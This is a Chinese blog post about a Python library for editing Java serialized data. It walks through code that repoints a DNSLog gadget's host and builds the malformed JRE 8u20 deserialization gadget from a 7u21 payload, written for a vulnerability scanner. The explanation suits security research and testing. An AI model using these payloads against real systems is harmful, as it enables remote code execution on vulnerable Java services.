使用python javaSerializationTools模块拼接生成 8u20 Gadget

简介

最近受朋友所托,在使用python写扫描器关于java反序列化漏洞的exp中,一直无法简便的生成payload。目前来说只有两种方法:

  1. python通过命令调用java的Ysoerial.jar 去获取gadget。 缺点太多了,还要在线上环境中准备一个jdk,对于特殊的gadget,比如7u21 这种payload,还需要准备多个版本的jdk。
  2. python直接写死gadget的字节码。

当然,上面两种方法都有一个最致命的缺点,那就是无法随意更改Suid值等反序列化属性。在反序列化攻击的场景中。经常会出现suid不一致而导致无法攻击成功的案例,当然,各种奇技淫巧都是在jar包中想办法,而很少有人在反序列化文件上动手。

于是,我按照java反序列化协议标准,使用python编写一个模块,可以做到自由读写java反序列化文件。当然,后期也可能会推出Java版。

生成8u20 gadget才是最具有挑战的事,因为网上的工具,操作起来基本都很复杂,需要手工计算handle等复杂操作。这对一个不懂java反序列化协议的人来讲,十分不友好。而且,8u20 gadget是一个畸形的反序列化数据。生成它需要很多复杂的工作

我们先从dnslog说起,从易到难,看一下如何使用javaSerializationTools模块读写java序列化文件

修改Dnslog gadget的网址

在这里我们不关心dnslog这个gadget是如何触发的,我们只关心如何修改dnslog地址。

修改dnslog的地址,其实也就是修改java.net.URL对象的host字段的值。所以我们先读取一个dnslog的反序列化文件,解析成功后保存为yaml文本格式的模板。

json 不支持复杂对象的存储,比如java中经常会出现对象的循环引用,json无法表达这种关系,而yaml可以表达,但是牺牲部分可读性。主要为了降低工作量

示例代码如下:

with open("../files/dnslog.ser", "rb") as f:
a = ObjectRead(f)
dnslog = a.readContent()

在这里我使用模块的javaObject类去表示一个java类。因为在反序列化数据中,只有对象,对象中的字段以及对象的类,如果存在额外数据,则添加到javaObject对象中的objectAnnoation列表中。下面我们来看截图,看一下dnslog是如何被解析的 使用python javaSerializationTools模块拼接生成 8u20 Gadget

loadFactorthreshold是HasnMap对象的两个属性,在这里没什么好说的。下面来说一下我是如何保存java对象中字段的值。

在java中某个类可能继承自父类,父类也可能继承自爷爷类。java为了精准的保存某个对象,会将对象所有的字段都保存下来。在反序列化还原对象中,首先读取对象的类的描述。也就是如上图中javaClass所表示的一样。随后在还原对象的值中,会按照读取的类的描述中字段的顺序,先读取父类的值,再读取子类的值。所以我将字段保存为多维数组,按层保存。其中字段的顺序与javaCLass中描述的字段顺序必须一致。

下面再讲一下objectAnnoation。在反序列化中,默认保存对象的所有值。但是对于HashMap这种对象来讲,对象中的值,也就是key和value是不固定的,没有办法保存。这时需要writeObject和readObject方法。writeObject方法是写入对象中额外的对象的特殊方法。经过writeObject方法写入的内容,会被写入到ObjectAnnotation中。readObject读取,也是读取ObjectAnnotation中的信息。在反序列化中,首先写入父类的字段值,如果父类存在writeObject,则再调用writeObject写入额外信息。然后再写入子类的字段值。writeObject函数在调用成功后,会向ObjectAnnotation中写入EndBlock标识终结。

对于hashmap对象来说,key和value分别存放到ObjectAnnotation中。我们需要想办法修改URL对象的host字段。URL对象的布局如下图所示 使用python javaSerializationTools模块拼接生成 8u20 Gadget

修改起来很简单,代码如下

dnslogUrl = 'bza4l5.dnslog.cn'

with open('dnslog.yaml', "r") as f:
dnslog = yaml.load(f, Loader=yaml.FullLoader)
UrlObject = dnslog.objectAnnotation[2]
# 修改java.net.URL的host属性为新的dnslog地址
dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl

with open('dnslog.ser', 'wb') as f:
ObjectWrite(f).writeContent(dnslog)

dnslog.yaml 截图如下 使用python javaSerializationTools模块拼接生成 8u20 Gadget

生成 JRE 8u20 gadget

上面简单对象已经讲完了,下面我们来说一下复杂对象的读写。我们只需要大概了解jre 7u21 payload的触发流程即可。以及修复方式如何被绕过的。

7u21的gadget中LinkedHashMapreadObject触发sun.reflect.annotation.AnnotationInvocationHandler,最终触发RCE。修复方法如下图所示。readObject中会判断反序列化的类型,如果不是所期望的,则直接抛出异常。

使用python javaSerializationTools模块拼接生成 8u20 Gadget

我们还需要回顾刚才讲的writeObject方法。假如一个对象在序列化过程中,调用writeObject方法。则java序列化中,是不会序列化任何字段值,一切交由对象的writeObject方法去处理。所以一般的writeObject方法中,只是保存额外信息,对象的字段值,统统交由defaultReadObject()去处理。

虽然sun.reflect.annotation.AnnotationInvocationHandler抛出了异常,但是对象以及所有的属性,其实已经还原完毕了。并且后面也可以调用。

我们分析一下原因,打开java序列化协议标准中关于还原对象的部分或者我自写的ObjectRead类的readObject方法

https://github.com/potats0/javaSerializationTools/blob/main/javaSerializationTools/ObjectRead.py#L150 使用python javaSerializationTools模块拼接生成 8u20 Gadget

在java序列化协议中,为了防止循环引用,或者为了节约序列化后空间,会将出现一摸一样的对象中第二个相同的对象使用reference代替,你可以理解为c语言的指针。在还原对象中,首先为被还原对象建立reference,其次再还原对象的值。

sun.reflect.annotation.AnnotationInvocationHandler的readObject中,我们可以看到抛出异常的代码后面,也没有额外信息可以供我们读取。所以,即使抛出了异常,但是对象也是被成功还原的,抛出异常前,对象的所有字段其实已经被还原完成了。所以我们想办法拦截异常信息,不打断正常的反序列化流程即可。这就是8u20 gadget的通俗解释。

在这里我们直接看java.beans.beancontext.BeanContextSupport#readChildren方法。在这里读取了额外的对象,并且也捕获异常信息。并没有打断正常的反序列化流程。 使用python javaSerializationTools模块拼接生成 8u20 Gadget

刚才我们说过,ObjectAnnotation的结尾,存放JavaEndBlockData去标识本对象的ObjectAnnotation结束。但是现在抛出异常导致BeanContextSupport的ObjectAnnotation中JavaEndBlockData无法被正常处理。如果我们不删除这个javaEndBlock,就会导致后面读取全部错误。这也就是jre 8u20无法被第三方软件解析成功的原因。所以我们在生成BeanContextSupport中不能按照规定,在ObjectAnnotation的结尾处生成JavaEndBlockData标识。这也就是8u20 畸形数据的来源。

下面我们来看一下7u21 的解析结果,如图

使用python javaSerializationTools模块拼接生成 8u20 Gadget

我们刚说过,在反序列化流程中,一般都是首先还原对象中字段的值,再还原objectAnnotation中的值。我们只需要插入一个虚假的字段到LinkedHashSet中,java反序列化中,如果遇到虚假的反序列化值,是不会影响正常的反序列化的流程的。

说起来容易做起来难,java序列化是不会生成这种畸形数据的。手工修改7u21的payload,插入一个新对象的话,后面所有的引用都需要一一修改。这个工作量听起来就很吓人,而且很容易出错。

所以我使用 javaSerializationTools模块,修改7u21的gadget,自动计算引用等。

首先向LinkedHashSet中添加一个新的字段,名字叫fake,类型为BeanContextSupport

代码如下


with open("../files/7u21.ser", "rb") as f:
a = ObjectRead(f)
obj = a.readContent()


# 第一步,向HashSet添加一个假字段,名字fake
signature = JavaString("Ljava/beans/beancontext/BeanContextSupport;")
fakeSignature = {'name': 'fake', 'signature': signature}
obj.javaClass.superJavaClass.fields.append(fakeSignature)

然后构造BeanContextSupport对象的值

# 构造假的BeanContextSupport反序列化对象,注意要引用后面的AnnotationInvocationHandler
# 读取BeanContextSupportClass的类的简介
with open('BeanContextSupportClass.yaml', 'r') as f1:
BeanContextSupportClassDesc = yaml.load(f1.read(), Loader=yaml.FullLoader)

# 向beanContextSupportObject添加beanContextChildPeer属性
beanContextSupportObject = JavaObject(BeanContextSupportClassDesc)
beanContextChildPeerField = JavaField('beanContextChildPeer',
JavaString('Ljava/beans/beancontext/BeanContextChild'),
beanContextSupportObject)
beanContextSupportObject.fields.append([beanContextChildPeerField])

# 向beanContextSupportObject添加serializable属性
serializableField = JavaField('serializable', 'I', 1)
beanContextSupportObject.fields.append([serializableField])

最后处理objectAnnotation,因为BeanContextSupport的父类也有writeObject方法。根据协议,我们第一个值为javaEndBlock,第二个值才是sun.reflect.annotation.AnnotationInvocationHandler对象,在这里我们直接引用7u21 的AnnotationInvocationHandler对象。这样,真正起作用的AnnotationInvocationHandler直接引用第一个成功还原的AnnotationInvocationHandler的对象。而引用的对象,再被引用的过程中是不会调用readObject方法的。

代码如下

# 向beanContextSupportObject添加objectAnnontations 数据
beanContextSupportObject.objectAnnotation.append(JavaEndBlock())
AnnotationInvocationHandler = obj.objectAnnotation[2].fields[0][0].value
beanContextSupportObject.objectAnnotation.append(AnnotationInvocationHandler)

# 把beanContextSupportObject对象添加到fake属性里
fakeField = JavaField('fake', fakeSignature['signature'], beanContextSupportObject)
obj.fields[0].append(fakeField)

当然在这里不需要计算handle,只需要使用ObjectWrite对象写入文件,即可自动计算handle等一切繁琐的事

with open("8u20.ser", 'wb') as f:
o = ObjectWrite(f)
o.writeContent(obj)

8u20 gadget 布局如下图所示

使用python javaSerializationTools模块拼接生成 8u20 Gadget

完整的代码详见 https://github.com/potats0/javaSerializationTools/blob/main/tests/test8u20/main.py

欢迎fork star项目,目前还在设计中,使用起来将会更加容易

项目地址 https://github.com/potats0/javaSerializationTools

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